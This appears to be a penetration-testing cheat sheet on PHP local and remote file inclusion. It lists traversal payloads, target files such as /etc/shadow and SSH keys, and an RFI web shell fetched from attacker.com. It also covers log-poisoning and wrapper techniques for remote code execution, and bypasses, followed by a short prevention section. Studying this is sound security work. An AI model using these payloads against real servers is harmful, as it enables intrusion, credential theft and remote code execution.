Key Takeaways
- LFI reads local files on server
- RFI includes remote malicious files
- LFI→RCE via log poisoning, wrappers
- Path traversal often combined with LFI
Contents
1. File Inclusion Vulnerabilities
Vulnerable Code
# PHP vulnerable code
$page = $_GET['page'];
include($page . ".php");
# URL: ?page=about → includes about.php
# Attack: ?page=../../../../etc/passwd%00
2. Local File Inclusion (LFI)
# Basic LFI payloads
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2f..%2fetc/passwd
# Windows targets
?page=..\..\..\..\windows\win.ini
?page=..\..\..\..\windows\system32\drivers\etc\hosts
# Interesting files to read
/etc/passwd # User list
/etc/shadow # Password hashes (if readable)
/home/user/.ssh/id_rsa # SSH keys
/var/log/apache2/access.log # For log poisoning
/proc/self/environ # Environment variables
~/.bash_history # Command history
3. Remote File Inclusion (RFI)
# RFI requires allow_url_include=On (rare)
?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.txt?
# shell.txt contains:
<?php system($_GET['cmd']); ?>
# Data URL (if allow_url_include)
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
4. LFI to RCE Techniques
Log Poisoning
# 1. Inject PHP into access log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# 2. Include the log file
?page=/var/log/apache2/access.log&cmd=id
# Other log files:
/var/log/auth.log # SSH login attempts
/var/log/mail.log # Mail server logs
/proc/self/fd/1 # stdout
Session File Inclusion
# 1. Set malicious session value
# Register with name: <?php system('id'); ?>
# 2. Include session file
?page=/var/lib/php/sessions/sess_[YOUR_PHPSESSID]
5. PHP Wrappers
# Read source code (base64 encoded)
?page=php://filter/convert.base64-encode/resource=index.php
# Write files (if writable)
?page=php://filter/write=convert.base64-decode/resource=shell.php
# Expect wrapper (if enabled)
?page=expect://id
# Input wrapper (POST body as include)
POST /?page=php://input
Body: <?php system('id'); ?>
# Zip wrapper
?page=zip://uploads/avatar.zip%23shell.php
6. Filter Bypasses
# Null byte (PHP < 5.3.4)
?page=../../../etc/passwd%00
# Double encoding
?page=%252e%252e%252f%252e%252e%252f
# Path truncation
?page=../../../etc/passwd[268 a's]
# Bypass extension append
?page=php://filter/convert.base64-encode/resource=index
# If .php is appended, still works
7. Testing Methodology
- Identify file inclusion parameters (page, file, include, etc.)
- Test basic traversal:
../../../../etc/passwd - Try bypass techniques if blocked
- Test PHP wrappers for source disclosure
- Attempt LFI→RCE if logs accessible
8. Prevention
Secure Code
# Whitelist approach
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed)) {
include($page . '.php');
} else {
include('404.php');
}
# Never use user input directly in include/require
# Validate and sanitize all file paths
# Disable allow_url_include in php.ini
FAQ
Is RFI still common?
RFI is rare now because allow_url_include is disabled by default in modern PHP. LFI is more common and can still lead to RCE through log poisoning and other techniques.